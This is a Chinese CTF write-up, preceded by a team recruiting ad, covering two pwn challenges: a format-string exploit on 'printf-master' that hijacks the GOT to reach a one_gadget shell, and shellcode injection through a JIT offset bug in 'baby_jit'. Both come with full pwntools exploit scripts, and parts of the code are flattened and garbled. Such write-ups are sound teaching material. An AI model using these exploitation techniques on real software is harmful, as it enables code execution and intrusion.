招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected] (带上简历和想加入的小组
printf-master-attachment
先是init初始化了一些参数
后gift函数给了2位的地址
点击并拖拽以移动
在func中有一个fmt漏洞
点击并拖拽以移动
思路就是利用fmt造成无限循环,因为没用开got表保护,可以篡改got表然后执行execve
fmt
是非栈上的,就需要利用
跳板
篡改,还禁用了$
,利用堆叠
占位符就能解决。
在非栈上格式化,利用跳板肯定需要知道栈地址,所以第一步gift需要泄露栈地址
img
因为开了pie,现在手上没有其他地址,需要边泄露地址边劫持返回地址
这里存在三级跳板,P1用来修改地址到printf的返回地址,P2用来修改返回地址
printf返回地址篡改为start需要爆破1/16
img
start地址为0x11b0
爆破成功篡改返回地址为start
img
P1改栈为printf返回地址的栈指针,P2修改返回地址
img
然后会执行start后再次有fmt漏洞,但是之前篡改的时候可以泄露地址,就有了所有的基地址
就可以修改exit_got为start,造成无限循环利用fmt
修改exit_got也是利用跳板,但是需要地址为elf的跳板,这样修改低位就能直接指向got表
img
img
指向got表之后,下一个地址就可以修改got表中的地址
最后利用跳板修改stack_chk_fail_got为one_gadget,然后修改exit_got为stack_chk_fail_plt完成调用
exp
from pwn import *from LibcSearcher import *from ctypes import * FILENAME='../pwn5' libc=ELF('../libc-2.31.so' ) context.arch='amd64' def pwn () : p.sendline(b'1' ) p.recvuntil(b'0x' ) add=int(p.recv(4 ),16 ) success('add ' +hex(add)) p.recvuntil(b'name?'
) p1='$17' #$18 p2='$45' num=add-2 *15 -0x86 -0x18 stat_lox=0x11B0 of=(0x10000 -num)+stat_lox-0x1B3 #aa98 success('of ' +hex(of)) payload=f'%p' *(15 )+f'%{num} c%hn' +'%p' *(45 -17 -1 -1 )+f'%{of} c%hn' p.sendline(payload) for i in range(7 ): p.recvuntil(b'0x' ) p.recvuntil(b'0x' ) heap_add=int(p.recv(6 *2 ),16 ) heapbase=heap_add-0x3b0 p.recvuntil(b'0x' ) p.recvuntil(b'0x' ) stack_add=int(p.recv(6 *2 ),16 ) p.recvuntil(b'0x' ) elf_add=int(p.recv(6 *2 ),16 ) elfbase=elf_add-0x6bd -0x1000 p.recvuntil(b'nil' ) p.recvuntil(b'0x' ) libc_add=int(p.recv(6 *2 ),16 ) libcbase=libc_add-libc.sym['__libc_start_main' ]-243 p.recvuntil(b'what' ,timeout=2 ) return heapbase,stack_add,libcbase,add,elfbase for i in range(16 ): try : p= process(FILENAME) heapbase,stack_add,libcbase,add,elfbase=pwn() success('libcbase ' +hex(libcbase)) success('stack_add ' +hex(stack_add)) success('heapbase ' +hex(heapbase)) success('elfbase ' +hex(elfbase)) one_gadget=[0xe3afe ,0xe3b01 ,0xe3b04 ] execve=libcbase+one_gadget[1 ] success('execve ' +hex(execve)) p0='$29' #17 p1='$58' #34 target=(elfbase+0x4020 )&0xffff target2=((elfbase+0x11B0 )&0xffff )+(0x10000 -target) print(hex(target),hex(target2)) payload=f'%p' *(29 -2 )+f'%{target-0x142 } c%hn' payload+='%p' *(58 -29 -2 )+f'%{target2-0x129 } c%hn' p.sendline(payload) p.recvuntil(b'what' ,timeout=2 ) system_add=libcbase+libc.sym['system' ] p0='$29' #17 p1='$64' #3a stack_chk_fail_got=elfbase+0x4030 target=(stack_chk_fail_got)&0xffff target2=(execve)&0xffff print("stack_chk_fail_got_1" ,hex(target2)) if (target20x10000-target-361 ) else : target2=target2-target-361 print("stack_chk_fail_got_1" ,hex(target),hex(target2)) payload=f'%p' *(29 -2 )+f'%{target-0x155 } c%hn' payload+='%p' *(64 -29 -2 )+f'%{target2} c%hn' p.sendline(payload) p.recvuntil(b'what' ,timeout=2 ) p0='$29' #17 p1='$64' #3a target=(stack_chk_fail_got+2 )&0xffff target2=((execve>>(8 *2 )))&0xffff print("stack_chk_fail_got_2" ,hex(target2)) if (target20x10000-target-361 -0x19 ) else : target2=target2-target-361 -0x19 print("stack_chk_fail_got_2" ,hex(target),hex(target2)) payload=f'%p' *(29 -2 )+f'%{target-0x155 +1 } c%hn' payload+='%p' *(64 -29 -2 )+f'%{target2} c%hn' p.sendline(payload) p.recvuntil(b'what' ,timeout=2 ) p0='$29' #17 p1='$64' #3a target=(stack_chk_fail_got+4 )&0xffff target2=((execve>>(8 *4 )))&0xffff print("stack_chk_fail_got_3" ,hex(target2)) if (target20x10000-target-361 -0x19 ) else : target2=target2-target-361 -0x19 print("stack_chk_fail_got_3" ,hex(target),hex(target2)) payload=f'%p' *(29 -2 )+f'%{target-0x155 } c%hn' payload+='%p' *(64 -29 -2 )+f'%{target2} c%hn' p.sendline(payload) p.recvuntil(b'what' ,timeout=2 ) p0='$29' #17 p1='$64' #3a target=(elfbase+0x4020 )&0xffff target2=(elfbase+0x1130 )&0xffff print("exit_got" ,hex(target2)) if (target2<(target+361 +0x19 )):target2=target2+(0x10000 -target-361 -0x19 ) else : target2=target2-target-361 -0x19 print("exit_got" ,hex(target),hex(target2)) payload=f'%p' *(29 -2 )+f'%{target-0x155 +1 } c%hn' payload+='%p' *(64 -29 -2 )+f'%{target2} c%hn' p.sendline(payload) p.interactive() except : p.close()
点击并拖拽以移动
baby_jit
开了一个禁用59(execve)的沙盒
image-20240625230042691
程序就两个功能一个add一个exec
image-20240625230100773
add函数,申请了chunk_s来存储输入的内容(0x30)没溢出,然后申请dest存储限制长度后的数据
exec函数中ptr+(n)都是指针位移用来汇编写入的正确性,*(ptr+n)直接赋值机器码用来功能的计算,在后面有一个call mmap空间,这个偏移是自己可控的,就偏移打到自己输入的数据中,控制数据执行正确的汇编即可,先执行read然后再读入flag
image-20240625230133731
img
exp
from pwn import *from LibcSearcher import *from ctypes import * FILENAME='../baby_jit' p= process(FILENAME) context.arch='amd64' def Add (context) : p.recvuntil(b'>>' ) p.sendline(b'1' ) p.sendline(context)def Exec (context) : p.recvuntil(b'>>' ) p.sendline(b'2' ) p.recvuntil(b'offset' ) p.sendline(context) sh=''' nop push rax pop rdi push rdx pop rsi syscall ''' calc_sh= str(u64(asm(sh).ljust(8 ,b'\x00' ))) Add(f'add {calc_sh} ' ) Exec(b'0.3' ) sleep(1 ) p.sendline(b'\x90' *(0x20 )+asm(shellcraft.cat('flag' ))) p.interactive()
点击并拖拽以移动
cJS0N